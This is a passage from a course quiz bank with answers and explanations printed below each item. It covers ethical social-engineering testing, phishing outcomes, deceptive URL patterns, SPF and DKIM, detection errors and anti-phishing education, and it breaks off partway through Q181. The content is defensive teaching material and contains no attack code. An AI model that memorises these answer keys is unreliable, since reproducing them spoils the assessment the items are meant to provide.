Lecture source: pp. 21, 49

6. Scoped testing, ethics, and safe organizational response

12 questions. Answers appear immediately below each item.

Q98. [Single answer] What is the purpose of an authorized social-engineering penetration test?

- A. Obtain unrestricted permission to manipulate anyone indefinitely
- B. Replace all technical testing
- C. Collect personal information for unrelated purposes
- D. Evaluate organizational exposure to human-focused attacks within an agreed scope

Answer: D. Evaluate organizational exposure to human-focused attacks within an agreed scope

Why: Social-engineering testing should be controlled, authorized, and tied to security objectives.

Lecture source: p. 22

Q99. [Select all that apply] Which issues should be agreed before an authorized social-engineering test?

- A. Permitted information sources
- B. Whether active contact is allowed
- C. Which pretexts are acceptable
- D. How results will be reported
- E. Whether individuals will be named
- F. How collected data will be minimized and protected
- G. How to bypass the written scope

Answer: A, B, C, D, E, F. Permitted information sources; Whether active contact is allowed; Which pretexts are acceptable; How results will be reported; Whether individuals will be named; How collected data will be minimized and protected

Why: Scope and reporting rules protect participants and make the test ethically defensible.

Lecture source: p. 22

Q100. [Single answer] Why should the use of leaked breach data in a social-engineering test be discussed explicitly?

- A. It replaces the need for authorization
- B. It may raise legal, ethical, and privacy concerns even when the test goal is defensive
- C. It is required for every security test
- D. It guarantees that every message will be delivered

Answer: B. It may raise legal, ethical, and privacy concerns even when the test goal is defensive

Why: Defensive testing does not remove the need to consider lawful and proportionate data use.

Lecture source: p. 22

Q101. [Mini case study] A security team wants to contact employees families to strengthen a pretext, but the signed test plan covers only employees. What should the team do?

- A. Do not proceed unless the scope is explicitly reviewed and authorized
- B. Proceed because the security objective is beneficial
- C. Proceed only outside working hours
- D. Publish the collected personal data internally

Answer: A. Do not proceed unless the scope is explicitly reviewed and authorized

Why: Active contact outside the approved scope is not justified by a general defensive intention.

Lecture source: p. 22

Q102. [Mini case study] A guard encounters a person who may genuinely need help but does not have authorization to enter a restricted area. What is the best response?

- A. Ignore any possible emergency
- B. Allow unrestricted access to the premises
- C. Give the person an employee badge temporarily
- D. Provide assistance while maintaining access control, for example by involving another staff member and keeping the person supervised

Answer: D. Provide assistance while maintaining access control, for example by involving another staff member and keeping the person supervised

Why: Security and humane assistance can both be maintained through a controlled response.

Lecture source: p. 23

Q103. [Single answer] What is the main lesson of the physical-access scenario involving a person asking for help?

- A. Access control should always be disabled during emergencies
- B. Only technical controls matter at entrances
- C. Procedures should support compassionate assistance without abandoning security boundaries
- D. Every request for help is malicious

Answer: C. Procedures should support compassionate assistance without abandoning security boundaries

Why: A balanced process reduces both safety and security risk.

Lecture source: p. 23

Q104. [Assertion-reason] Assertion: A social-engineering test should minimize unnecessary personal data collection.

Reason: The test objective can often be achieved without exposing more personal information than needed.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Proportionality is important in ethical testing.

Lecture source: p. 22

Q105. [True / False] A defensive objective automatically makes every pretext acceptable.

- A. False
- B. True
- C. Only for email attachments
- D. Only when a firewall is absent

Answer: A. False

Why: Methods and scope still require ethical review and authorization.

Lecture source: p. 22

Q106. [True / False] Simulated phishing campaigns can be used as one form of authorized social-engineering testing.

- A. False
- B. Only for email attachments
- C. Only when a firewall is absent
- D. True

Answer: D. True

Why: They may evaluate vulnerability and support teaching when handled responsibly.

Lecture source: pp. 22, 48

Q107. [EXCEPT / NOT] All of the following are appropriate reporting questions after an authorized social-engineering test EXCEPT:

- A. What information should be shared with management?
- B. How should collected data be protected?
- C. How can the findings be used to embarrass individual employees publicly?
- D. Should specific people be named?

Answer: C. How can the findings be used to embarrass individual employees publicly?

Why: Reporting should support improvement rather than humiliation.

Lecture source: p. 22

Q108. [Defensive design] Which management approach is most constructive after a simulated-phishing exercise?

- A. Collect real passwords for later reuse
- B. Use findings to improve controls and training while handling individual data proportionately
- C. Publish a ranking of employees for entertainment
- D. Assume one exercise permanently solves the problem

Answer: B. Use findings to improve controls and training while handling individual data proportionately

Why: The exercise should improve resilience and respect participants.

Lecture source: pp. 48-49

Q109. [Mini case study] A staff member reports clicking a suspicious link immediately. Which response best supports future reporting?

- A. Thank the person, contain the risk quickly, and use the incident as a learning opportunity
- B. Punish the person before investigating
- C. Tell staff never to report accidental clicks
- D. Disable all email for the organization permanently

Answer: A. Thank the person, contain the risk quickly, and use the incident as a learning opportunity

Why: A supportive reporting culture improves detection and response.

Lecture source: p. 49

7. Phishing mechanisms, channels, and attack outcomes

16 questions. Answers appear immediately below each item.

Q110. [Single answer] Which description best captures phishing?

- A. A routing protocol used for internal networks
- B. A firewall rule that blocks UDP
- C. A technique for normalizing tables
- D. A social-engineering attack that impersonates a trusted entity through email or another message channel

Answer: D. A social-engineering attack that impersonates a trusted entity through email or another message channel

Why: Phishing uses deception to influence recipients.

Lecture source: p. 25

Q111. [Single answer] What is credential harvesting?

- A. Backing up access-control lists
- B. Creating a VPN tunnel
- C. Collecting user credentials through a deceptive request or imitation login page
- D. Hashing passwords with a salt

Answer: C. Collecting user credentials through a deceptive request or imitation login page

Why: Phishing pages often imitate legitimate services to capture login data.

Lecture source: p. 26

Q112. [Single answer] Which sequence best describes a credential-stealing phishing attack?

- A. A user installs a patch and a backup is restored
- B. A deceptive message links to an attacker-controlled imitation site, the user enters credentials, and the attacker receives them
- C. A firewall blocks a packet, the user updates software, and a signature is verified
- D. A DNS server signs a zone and a router reassembles fragments

Answer: B. A deceptive message links to an attacker-controlled imitation site, the user enters credentials, and the attacker receives them

Why: The imitation website captures credentials entered by the victim.

Lecture source: p. 26

Q113. [Single answer] Which sequence best describes phishing-based malware infiltration?

- A. A message delivers or links to malicious content, execution occurs, and malware gains control or propagates
- B. A message is signed with DKIM and becomes malware
- C. An SPF record converts a file into an executable
- D. A URL shortener automatically removes malware

Answer: A. A message delivers or links to malicious content, execution occurs, and malware gains control or propagates

Why: Malicious attachments or links may lead to execution and compromise.

Lecture source: p. 27

Q114. [Single answer] Which sequence best describes CEO fraud?

- A. A user connects to a VPN and receives a certificate
- B. A web server applies a prepared statement
- C. A router filters ICMP broadcasts
- D. A message impersonates an authority figure and instructs the recipient to transfer money or disclose sensitive information

Answer: D. A message impersonates an authority figure and instructs the recipient to transfer money or disclose sensitive information

Why: CEO fraud exploits authority and urgency rather than a software vulnerability.

Lecture source: p. 28

Q115. [Comparison] Which comparison correctly distinguishes credential-stealing phishing and malware-delivery phishing?

- A. Credential stealing is safe if the page looks professional
- B. Malware delivery cannot occur through attachments
- C. Credential-stealing phishing seeks information entered by the victim, while malware-delivery phishing seeks code execution or installation
- D. Credential stealing always uses physical access, while malware delivery uses only SMS

Answer: C. Credential-stealing phishing seeks information entered by the victim, while malware-delivery phishing seeks code execution or installation

Why: The outcomes and payloads differ even though both rely on deception.

Lecture source: pp. 26-27

Q116. [Mini case study] A bank-themed message links to a page that visually matches the bank login screen but is controlled by an attacker. What is the intended outcome?

- A. DNSSEC deployment
- B. Credential harvesting
- C. SYN-flood mitigation
- D. SQL parameter binding

Answer: B. Credential harvesting

Why: The fake page is intended to capture login details.

Lecture source: p. 26

Q117. [Mini case study] An employee receives an attachment that asks for permission to run a script and then begins sending data externally. Which outcome best fits?

- A. Phishing-based malware infiltration
- B. Only sender-name spoofing
- C. A normal software update
- D. A circuit-level gateway

Answer: A. Phishing-based malware infiltration

Why: The attachment has led to malicious code execution.

Lecture source: p. 27

Q118. [Mini case study] A finance employee receives a confidential payment request that appears to come from a senior executive and demands immediate action. Which attack pattern best fits?

- A. Waterholing
- B. Dumpster diving
- C. Smurf amplification
- D. CEO fraud

Answer: D. CEO fraud

Why: The pretext uses senior authority to trigger a financial action.

Lecture source: p. 28

Q119. [Select all that apply] Which indicators should make a recipient pause before following a link in a message?

- A. The text contains unusual errors
- B. The message uses a familiar logo
- C. The link destination does not match the claimed organization
- D. The message creates unusual urgency
- E. The sender address is unexpected or subtly different
- F. The request is inconsistent with normal procedure

Answer: A, C, D, E, F. The link destination does not match the claimed organization; The message creates unusual urgency; The sender address is unexpected or subtly different; The request is inconsistent with normal procedure; The text contains unusual errors

Why: Logos are easy to copy; the stronger indicators concern destination, sender, context, and request.

Lecture source: pp. 25, 31-36, 44

Q120. [Single answer] Why is checking a link destination more useful than trusting visible link text?

- A. Links cannot contain domains
- B. The displayed text can hide a different real destination
- C. Visible link text is always generated by DNS
- D. Hovering encrypts the destination

Answer: B. The displayed text can hide a different real destination

Why: Phishing messages can display trusted-looking text while directing the browser elsewhere.

Lecture source: p. 33

Q121. [Single answer] Why can outdated systems be especially risky when handling malicious messages?

- A. Some vulnerabilities may allow compromise with minimal user interaction
- B. Outdated systems automatically use SPF
- C. Outdated systems prevent attachments from opening
- D. Outdated systems make every sender address accurate

Answer: A. Some vulnerabilities may allow compromise with minimal user interaction

Why: Patching reduces the risk that merely viewing or lightly interacting with content triggers exploitation.

Lecture source: p. 27

Q122. [True / False] A phishing message can arrive through a channel other than email.

- A. False
- B. Only for email attachments
- C. Only when a firewall is absent
- D. True

Answer: D. True

Why: SMS and voice channels are common examples.

Lecture source: pp. 9, 25

Q123. [True / False] A copied company logo is strong proof that a message is genuine.

- A. Only for email attachments
- B. Only when a firewall is absent
- C. False
- D. True

Answer: C. False

Why: Visual branding is easy to imitate.

Lecture source: pp. 19, 25, 44

Q124. [EXCEPT / NOT] All of the following can be outcomes of phishing EXCEPT:

- A. Fraudulent transfer of money
- B. Automatic mathematical proof that the sender is genuine
- C. Credential theft
- D. Malware infiltration

Answer: B. Automatic mathematical proof that the sender is genuine

Why: Phishing undermines trust; it does not prove authenticity.

Lecture source: pp. 26-28

Q125. [Defensive design] Which response is safest when an unexpected message asks for a sensitive action?

- A. Verify the request through an independent trusted channel before acting
- B. Reply to the message and ask whether it is genuine
- C. Use the included link because the logo looks accurate
- D. Forward credentials to a colleague for confirmation

Answer: A. Verify the request through an independent trusted channel before acting

Why: Out-of-band verification breaks the attacker-controlled communication path.

Lecture source: pp. 25, 44-45

8. Email spoofing, website spoofing, and URL reasoning

21 questions. Answers appear immediately below each item.

Q126. [Single answer] Why is the visible sender name in an email not sufficient proof of identity?

- A. Display names are protected by IPsec
- B. Display names are stored only in DNSSEC
- C. Display names cannot contain text
- D. The display name can be chosen freely and may not match the actual sending address

Answer: D. The display name can be chosen freely and may not match the actual sending address

Why: Recipients should inspect the actual sender address and context.

Lecture source: p. 31

Q127. [Single answer] Under which condition may a forged sender address be accepted more easily?

- A. The recipient increases a TCP backlog
- B. The sender uses a longer display name
- C. The attacker controls a sending server or a provider is incorrectly configured
- D. The recipient uses prepared statements

Answer: C. The attacker controls a sending server or a provider is incorrectly configured

Why: Email infrastructure needs verification controls because message fields can be falsified.

Lecture source: p. 32

Q128. [Mini case study] An email appears as From: Alice, but the actual address is eve@mail.example. What has been manipulated most directly?

- A. A VPN tunnel
- B. The sender display name
- C. A DKIM public key
- D. A database primary key

Answer: B. The sender display name

Why: The visible name can be falsified even when the underlying address reveals the mismatch.

Lecture source: p. 31

Q129. [Mini case study] A message claims to come from support@trusted.example, but it was transmitted by an unauthorized external server. Which risk is illustrated?

- A. Sender-address spoofing
- B. Shoulder surfing
- C. Tailgating
- D. Sparse infection

Answer: A. Sender-address spoofing

Why: Domain-verification controls are intended to detect this mismatch.

Lecture source: pp. 32, 38-39

Q130. [Single answer] What is website spoofing in phishing?

- A. Blocking every website with a firewall
- B. Creating an encrypted backup
- C. Changing a database index
- D. Imitating a trusted website so users disclose information or perform unsafe actions

Answer: D. Imitating a trusted website so users disclose information or perform unsafe actions

Why: The fake site seeks to inherit the trust of the real service.

Lecture source: p. 33

Q131. [Mini case study] A message points directly to evilhacker.example or a raw IP address. What is the main URL-analysis concern?

- A. A deceptive subdomain placing a trusted name before the real domain
- B. A trusted brand inserted into the path rather than the domain
- C. An obvious unrelated destination
- D. A shortened URL hiding the destination

Answer: C. An obvious unrelated destination

Why: The important step is to identify the registered domain and the actual destination rather than trusting familiar-looking text.

Lecture source: p. 34

Q132. [Mini case study] A link uses a URL-shortening service, so the destination is not visible without expansion. What is the main URL-analysis concern?

- A. A similar but distinct domain
- B. A shortened URL hiding the destination
- C. A deceptive subdomain placing a trusted name before the real domain
- D. A trusted brand inserted into the path rather than the domain

Answer: B. A shortened URL hiding the destination

Why: The important step is to identify the registered domain and the actual destination rather than trusting familiar-looking text.

Lecture source: p. 34

Q133. [Mini case study] The address begins amazon.com.evilhacker.example. What is the main URL-analysis concern?

- A. A deceptive subdomain placing a trusted name before the real domain
- B. A trusted brand inserted into the path rather than the domain
- C. A similar but distinct domain
- D. A look-alike typographical domain

Answer: A. A deceptive subdomain placing a trusted name before the real domain

Why: The important step is to identify the registered domain and the actual destination rather than trusting familiar-looking text.

Lecture source: p. 35

Q134. [Mini case study] The path contains /www.facebook.com even though the real domain is evilhacker.example. What is the main URL-analysis concern?

- A. A similar but distinct domain
- B. A look-alike typographical domain
- C. A visually deceptive internationalized domain
- D. A trusted brand inserted into the path rather than the domain

Answer: D. A trusted brand inserted into the path rather than the domain

Why: The important step is to identify the registered domain and the actual destination rather than trusting familiar-looking text.

Lecture source: p. 35

Q135. [Mini case study] The address is amazon-shop.example rather than the real brand domain. What is the main URL-analysis concern?

- A. A visually deceptive internationalized domain
- B. A compromised or abused legitimate website path or redirect
- C. A similar but distinct domain
- D. A look-alike typographical domain

Answer: C. A similar but distinct domain

Why: The important step is to identify the registered domain and the actual destination rather than trusting familiar-looking text.

Lecture source: p. 35

Q136. [Mini case study] The address changes a letter sequence so that mircosoft resembles microsoft. What is the main URL-analysis concern?

- A. A deceptive subdomain placing a trusted name before the real domain
- B. A look-alike typographical domain
- C. An obvious unrelated destination
- D. A shortened URL hiding the destination

Answer: B. A look-alike typographical domain

Why: The important step is to identify the registered domain and the actual destination rather than trusting familiar-looking text.

Lecture source: p. 36

Q137. [Mini case study] The address uses visually similar international characters to imitate a familiar name. What is the main URL-analysis concern?

- A. A visually deceptive internationalized domain
- B. A shortened URL hiding the destination
- C. A deceptive subdomain placing a trusted name before the real domain
- D. A trusted brand inserted into the path rather than the domain

Answer: A. A visually deceptive internationalized domain

Why: The important step is to identify the registered domain and the actual destination rather than trusting familiar-looking text.

Lecture source: p. 36

Q138. [Mini case study] A legitimate website contains an attacker-controlled redirect parameter leading elsewhere. What is the main URL-analysis concern?

- A. A deceptive subdomain placing a trusted name before the real domain
- B. A trusted brand inserted into the path rather than the domain
- C. A similar but distinct domain
- D. A compromised or abused legitimate website path or redirect

Answer: D. A compromised or abused legitimate website path or redirect

Why: The important step is to identify the registered domain and the actual destination rather than trusting familiar-looking text.

Lecture source: p. 36

Q139. [Single answer] When reading a hostname such as login.bank.example.attacker.example, which part usually identifies the registrable destination under attacker.example?

- A. The first familiar brand word bank
- B. Every path component after a slash
- C. The rightmost registered domain portion attacker.example
- D. The leftmost word login

Answer: C. The rightmost registered domain portion attacker.example

Why: Attackers may place a trusted brand name in a subdomain.

Lecture source: p. 35

Q140. [Single answer] Why can mobile displays make deceptive URLs harder to notice?

- A. Mobile devices always trust shortened URLs
- B. Only part of the address may be visible, hiding the registrable domain or suspicious suffix
- C. Mobile devices cannot display HTTPS
- D. Mobile devices disable DNS

Answer: B. Only part of the address may be visible, hiding the registrable domain or suspicious suffix

Why: Limited display space can conceal important parts of a URL.

Lecture source: p. 35

Q141. [Single answer] Why is a compromised legitimate website especially difficult for users to evaluate?

- A. A familiar domain may still host an unsafe page or redirect, so the URL alone may not reveal the problem
- B. A legitimate domain cannot contain paths
- C. A compromised website automatically invalidates every SPF record
- D. The site must always use a raw IP address

Answer: A. A familiar domain may still host an unsafe page or redirect, so the URL alone may not reveal the problem

Why: Website owners and security systems must also protect content and redirects.

Lecture source: p. 36

Q142. [Comparison] Which comparison is most accurate regarding similar domains and compromised websites?

- A. A similar domain is protected by DKIM, while a compromised domain is protected by SPF
- B. A similar domain always uses a raw IP address
- C. A compromised website can be detected solely from its brand logo
- D. A similar domain is a separate attacker-controlled name, while a compromised legitimate website abuses a real trusted domain or its content

Answer: D. A similar domain is a separate attacker-controlled name, while a compromised legitimate website abuses a real trusted domain or its content

Why: The defensive challenge differs between imitation and compromise.

Lecture source: pp. 35-36

Q143. [Select all that apply] Which actions are useful before following a suspicious link?

- A. Assume the visible link text is accurate
- B. Enter credentials first and investigate later
- C. Inspect the actual destination
- D. Identify the registered domain
- E. Expand or check a shortened URL through a trusted method
- F. Use an independently found official website instead

Answer: C, D, E, F. Inspect the actual destination; Identify the registered domain; Expand or check a shortened URL through a trusted method; Use an independently found official website instead

Why: The safest path avoids trusting attacker-controlled link text.

Lecture source: pp. 33-36, 44

Q144. [EXCEPT / NOT] All of the following are reasons a URL may look trustworthy while remaining unsafe EXCEPT:

- A. A legitimate site contains an unsafe redirect
- B. A verified independent bookmark opened directly by the user
- C. A trusted brand name appears in a subdomain
- D. The domain uses a look-alike spelling

Answer: B. A verified independent bookmark opened directly by the user

Why: An independently stored bookmark reduces reliance on the suspicious message.

Lecture source: pp. 35-36

Q145. [True / False] A valid HTTPS connection alone proves that a website belongs to the organization named in the page content.

- A. False
- B. True
- C. Only for email attachments
- D. Only when a firewall is absent

Answer: A. False

Why: HTTPS protects the connection to a domain; it does not guarantee that the domain is the intended organization.

Lecture source: pp. 33-36

Q146. [Defensive design] Which user habit most directly reduces website-spoofing risk for sensitive services?

- A. Trust any link containing the company name
- B. Disable browser warnings
- C. Use the shortest visible URL without checking it
- D. Navigate through a trusted bookmark or independently obtained official address instead of using unexpected message links

Answer: D. Navigate through a trusted bookmark or independently obtained official address instead of using unexpected message links

Why: Independent navigation reduces exposure to deceptive links.

Lecture source: pp. 33-36, 44

9. Domain verification, content controls, and phishing detection

23 questions. Answers appear immediately below each item.

Q147. [Single answer] What problem is SPF primarily designed to address?

- A. Whether a website uses a shortened URL
- B. Whether a password has been reused
- C. Whether a sending server is authorized to send mail on behalf of a domain
- D. Whether an attachment contains a macro

Answer: C. Whether a sending server is authorized to send mail on behalf of a domain

Why: SPF checks sending-server authorization for the claimed sender domain.

Lecture source: pp. 38-39

Q148. [Single answer] What problem is DKIM primarily designed to address?

- A. Whether a user has viewed the email
- B. Whether a message was signed by the domain and remained unmodified in transit
- C. Whether the recipient uses MFA
- D. Whether a shortened URL expands safely

Answer: B. Whether a message was signed by the domain and remained unmodified in transit

Why: DKIM uses digital signatures to support domain-level authenticity and message integrity.

Lecture source: pp. 40-41

Q149. [Comparison] Which comparison correctly distinguishes SPF and DKIM?

- A. SPF checks whether the sending server is authorized for a domain, while DKIM verifies a domain signature over the message
- B. SPF encrypts attachments, while DKIM blocks all links
- C. SPF checks website ownership, while DKIM filters USB devices
- D. SPF and DKIM are identical password managers

Answer: A. SPF checks whether the sending server is authorized for a domain, while DKIM verifies a domain signature over the message

Why: The mechanisms address related but distinct email-authentication questions.

Lecture source: pp. 38-41

Q150. [Single answer] What is a possible SPF soft-fail outcome?

- A. The message is guaranteed authentic
- B. The attachment is executed automatically
- C. The recipient password is changed
- D. The message is delivered but marked as having failed verification

Answer: D. The message is delivered but marked as having failed verification

Why: Mail policy may mark rather than reject a message.

Lecture source: p. 38

Q151. [Single answer] What does a restrictive SPF policy conceptually communicate?

- A. All attachments should be allowed
- B. Every shortened URL is trusted
- C. Only specified servers are authorized to send mail for the domain
- D. Every server on the Internet may impersonate the domain

Answer: C. Only specified servers are authorized to send mail for the domain

Why: SPF records publish sender-server authorization policy.

Lecture source: p. 39

Q152. [Single answer] Which cryptographic material is used in DKIM verification?

- A. A database primary key
- B. A domain public key published for recipients to verify signatures
- C. The recipients plaintext password
- D. A private key published in the email body

Answer: B. A domain public key published for recipients to verify signatures

Why: The domain keeps the signing key secret and publishes verification material.

Lecture source: p. 41

Q153. [Mini case study] A malicious server sends mail claiming to be from a trusted domain. The recipient server asks whether that sending server is authorized. Which control is being applied?

- A. SPF
- B. DKIM only
- C. SQL sanitization
- D. Tailgating detection

Answer: A. SPF

Why: SPF evaluates sender-server authorization.

Lecture source: pp. 38-39

Q154. [Mini case study] A legitimate message is intercepted and modified before delivery. Which control is most directly intended to reveal the modification?

- A. SPF only
- B. URL shortening
- C. A personal firewall only
- D. DKIM

Answer: D. DKIM

Why: DKIM signatures help detect message tampering.

Lecture source: pp. 40-41

Q155. [Mini case study] A suspicious email passes some automated checks but includes an unusual external link. What is the best response?

- A. Disable all authentication records
- B. Enter credentials to test whether the page works
- C. Treat verification as one signal and inspect or independently verify the link before acting
- D. Assume the message is safe because one check passed

Answer: C. Treat verification as one signal and inspect or independently verify the link before acting

Why: No single control removes the need for context-aware verification.

Lecture source: pp. 43-45

Q156. [Select all that apply] Which types of content may be blocked or flagged by email-security systems?

- A. Every internal message without inspection
- B. Known malicious domains
- C. Known malware attachments
- D. Look-alike domains
- E. Dangerous file formats
- F. Suspicious keywords or patterns

Answer: B, C, D, E, F. Known malicious domains; Known malware attachments; Look-alike domains; Dangerous file formats; Suspicious keywords or patterns

Why: Controls can use threat intelligence and heuristics, but they must balance false positives and false negatives.

Lecture source: p. 42

Q157. [Comparison] Which comparison is most accurate regarding blocking and warning controls?

- A. Blocking suspicious content can stop some threats, while warnings may preserve access but require careful manual verification
- B. Warnings are always safer than blocking
- C. Allow-lists are never restrictive
- D. Blocking guarantees zero false positives

Answer: A. Blocking suspicious content can stop some threats, while warnings may preserve access but require careful manual verification

Why: Different control choices trade usability against risk.

Lecture source: p. 42

Q158. [Single answer] What is a false positive in phishing detection?

- A. A phishing message reaches the user
- B. A user correctly reports a suspicious link
- C. A DKIM signature verifies correctly
- D. A legitimate message is incorrectly classified or blocked as malicious

Answer: D. A legitimate message is incorrectly classified or blocked as malicious

Why: False positives can disrupt valid communication.

Lecture source: p. 43

Q159. [Single answer] What is a false negative in phishing detection?

- A. A suspicious message is reported
- B. A password is changed safely
- C. A phishing message is not detected and reaches the user
- D. A legitimate message is blocked

Answer: C. A phishing message is not detected and reaches the user

Why: False negatives allow unsafe content through.

Lecture source: p. 43

Q160. [Single answer] Why can threat-intelligence feeds be imperfect?

- A. Threat intelligence automatically signs all email
- B. New malicious domains may not be known yet, and existing information may be incomplete or outdated
- C. DNS records never change
- D. Every malicious site uses the same address forever

Answer: B. New malicious domains may not be known yet, and existing information may be incomplete or outdated

Why: Detection lists cannot always identify new or changing infrastructure immediately.

Lecture source: p. 43

Q161. [Select all that apply] Which manual indicators can help identify phishing?

- A. Unexpected attachment types
- B. A copied logo alone
- C. Unexpected or suspicious requests
- D. Unusual wording or spelling mistakes
- E. A sender address that does not match expectations
- F. A link destination that differs from the claimed organization

Answer: A, C, D, E, F. Unexpected or suspicious requests; Unusual wording or spelling mistakes; A sender address that does not match expectations; A link destination that differs from the claimed organization; Unexpected attachment types

Why: Visual branding alone is weak evidence because it is easy to copy.

Lecture source: p. 44

Q162. [Single answer] Which manual indicator is often among the most reliable when a message asks the user to follow a link?

- A. Trusting the sender display name only
- B. Trusting the logo color
- C. Assuming urgency proves legitimacy
- D. Checking the actual URL destination and attachment context

Answer: D. Checking the actual URL destination and attachment context

Why: Destination and attachment checks directly address common attack paths.

Lecture source: p. 44

Q163. [EXCEPT / NOT] All of the following are limitations of automatic phishing detection EXCEPT:

- A. False negatives
- B. Outdated threat intelligence
- C. It removes the need for users to report suspicious messages in every situation
- D. False positives

Answer: C. It removes the need for users to report suspicious messages in every situation

Why: Automation helps but cannot eliminate all human verification and reporting needs.

Lecture source: pp. 43-45

Q164. [True / False] A message that passes SPF must be safe in every respect.

- A. Only when a firewall is absent
- B. False
- C. True
- D. Only for email attachments

Answer: B. False

Why: SPF addresses sender-server authorization, not every malicious-content or account-compromise scenario.

Lecture source: pp. 38-45

Q165. [True / False] A DKIM-valid message can still contain a harmful request if an authorized account or domain is abused.

- A. True
- B. False
- C. Only for email attachments
- D. Only when a firewall is absent

Answer: A. True

Why: A signature supports authenticity and integrity of transmission, not the benign intent of every signed message.

Lecture source: pp. 40-45

Q166. [Assertion-reason] Assertion: Phishing defense should be layered.

Reason: Sender verification, content filtering, URL analysis, user awareness, and reporting each address different failure modes.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: No single control is sufficient.

Lecture source: pp. 38-49

Q167. [Defensive design] Which email-security design is most robust?

- A. Trust every message from a familiar display name
- B. Block reporting so users do not create tickets
- C. Use domain verification, content filtering, warnings where appropriate, ongoing awareness, and an easy reporting path
- D. Rely only on spelling mistakes

Answer: C. Use domain verification, content filtering, warnings where appropriate, ongoing awareness, and an easy reporting path

Why: Layered controls reduce the chance that one weakness leads to compromise.

Lecture source: pp. 38-49

Q168. [Troubleshooting] Legitimate messages are being blocked after a new email-authentication policy change. Which problem should be investigated first?

- A. Whether a router is filtering ICMP broadcasts
- B. A false-positive configuration issue, including whether authorized senders are represented correctly
- C. Whether users are opening USB drives
- D. Whether a database uses a primary key

Answer: B. A false-positive configuration issue, including whether authorized senders are represented correctly

Why: Authentication policies must include legitimate sending infrastructure.

Lecture source: pp. 38-43

Q169. [Troubleshooting] Users continue receiving professionally written phishing messages that do not contain spelling mistakes. What should the organization change?

- A. Teach users to verify sender context, URLs, attachments, and unusual requests instead of relying on grammar alone
- B. Stop all training because professional messages cannot be detected
- C. Trust messages with correct spelling automatically
- D. Disable reporting to reduce workload

Answer: A. Teach users to verify sender context, URLs, attachments, and unusual requests instead of relying on grammar alone

Why: Polished messages defeat simplistic advice.

Lecture source: pp. 44-49

10. Security education, reporting culture, and simulated campaigns

15 questions. Answers appear immediately below each item.

Q170. [Single answer] Why is one-time phishing training insufficient?

- A. Users permanently remember every detail after one session
- B. Phishing occurs only once per organization
- C. Technical controls never need updates
- D. Habits, personnel, and attacker tactics change over time

Answer: D. Habits, personnel, and attacker tactics change over time

Why: Awareness should be reinforced and adapted.

Lecture source: p. 49

Q171. [Select all that apply] Which formats can support anti-phishing education?

- A. Websites
- B. Printed materials
- C. Gamified exercises
- D. Embedded learning
- E. A single vague warning with no examples
- F. E-learning modules
- G. Videos

Answer: A, B, C, D, F, G. E-learning modules; Videos; Websites; Printed materials; Gamified exercises; Embedded learning

Why: Different formats can support active and repeated learning.

Lecture source: p. 47

Q172. [Single answer] What is an advantage of gamification in security education?

- A. It eliminates the need for reporting
- B. It can increase active participation and motivation
- C. It guarantees that no user will ever click a link
- D. It replaces technical controls

Answer: B. It can increase active participation and motivation

Why: Interactive practice can help users engage with the material.

Lecture source: p. 47

Q173. [Single answer] What is embedded learning in an anti-phishing context?

- A. Providing a learning opportunity close to the moment when the user encounters or responds to a simulated risk
- B. Hiding every training resource
- C. Encrypting a message with DKIM
- D. Removing all external email

Answer: A. Providing a learning opportunity close to the moment when the user encounters or responds to a simulated risk

Why: Timely feedback can connect advice to behavior.

Lecture source: p. 47

Q174. [Select all that apply] Which goals are appropriate for a simulated phishing campaign?

- A. Provide a teaching opportunity
- B. Collect real passwords for operational reuse
- C. Evaluate how often users click or submit data
- D. Estimate organizational exposure
- E. Measure the effect of awareness activities

Answer: A, C, D, E. Evaluate how often users click or submit data; Estimate organizational exposure; Measure the effect of awareness activities; Provide a teaching opportunity

Why: Simulation should support measurement and learning, not collect reusable secrets.

Lecture source: p. 48

Q175. [Single answer] Why should a simulated-phishing program decide in advance what data to collect?

- A. Data minimization prevents all phishing
- B. The choice changes DNSSEC configuration
- C. Click rates, names, and submitted details have different privacy and reporting implications
- D. Every campaign must collect real passwords

Answer: C. Click rates, names, and submitted details have different privacy and reporting implications

Why: The program should collect only what is necessary for its approved objective.

Lecture source: p. 48

Q176. [Mini case study] A simulated campaign records the exact passwords typed by employees even though the stated goal is to measure clicks. What is the best assessment?

- A. The passwords should be emailed to managers
- B. The data collection is disproportionate and should be redesigned
- C. The approach is required for awareness training
- D. The campaign is safe because the site is internal

Answer: B. The data collection is disproportionate and should be redesigned

Why: Data collection should match the objective and minimize harm.

Lecture source: p. 48

Q177. [Mini case study] Employees hesitate to report suspicious messages because they fear punishment if they made a mistake. What is the most important improvement?

- A. Create a supportive reporting culture with clear procedures and rapid assistance
- B. Make the reporting form more hidden
- C. Discourage reporting after accidental clicks
- D. Assume technical filters will catch every threat

Answer: A. Create a supportive reporting culture with clear procedures and rapid assistance

Why: Fear of consequences can suppress valuable early warnings.

Lecture source: p. 49

Q178. [Single answer] Why is advice such as do not click suspicious messages often insufficient?

- A. It is too specific
- B. It automatically blocks email
- C. It configures SPF incorrectly
- D. It does not explain how to recognize risk or what action to take instead

Answer: D. It does not explain how to recognize risk or what action to take instead

Why: Training should provide concrete, realistic steps.

Lecture source: p. 49

Q179. [Comparison] Which comparison is most accurate regarding user education and organizational responsibility?

- A. Technical controls alone eliminate the need for awareness
- B. Reporting processes are unrelated to resilience
- C. User education is important, but organizations should not place the entire burden of phishing defense on users
- D. Users are solely responsible for all phishing incidents

Answer: C. User education is important, but organizations should not place the entire burden of phishing defense on users

Why: Defense should combine usable technical and organizational measures.

Lecture source: pp. 43-49

Q180. [Select all that apply] Which features belong in a mature anti-phishing program?

- A. A clear reporting path
- B. Supportive incident response
- C. Blaming users as the main deterrent
- D. Layered email controls
- E. Practical URL and attachment guidance
- F. Repeated training
- G. Simulated exercises handled proportionately

Answer: A, B, D, E, F, G. Layered email controls; Practical URL and attachment guidance; Repeated training; Simulated exercises handled proportionately; A clear reporting path; Supportive incident response

Why: Resilience depends on controls, learning, and reporting culture.

Lecture source: pp. 43-49

**Q181. [Assertion-reason] Assertion: Organizations should make phishing reports easy to submit.
Reason: Rapid reporting can improve containment and provide information about active campaigns.**

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
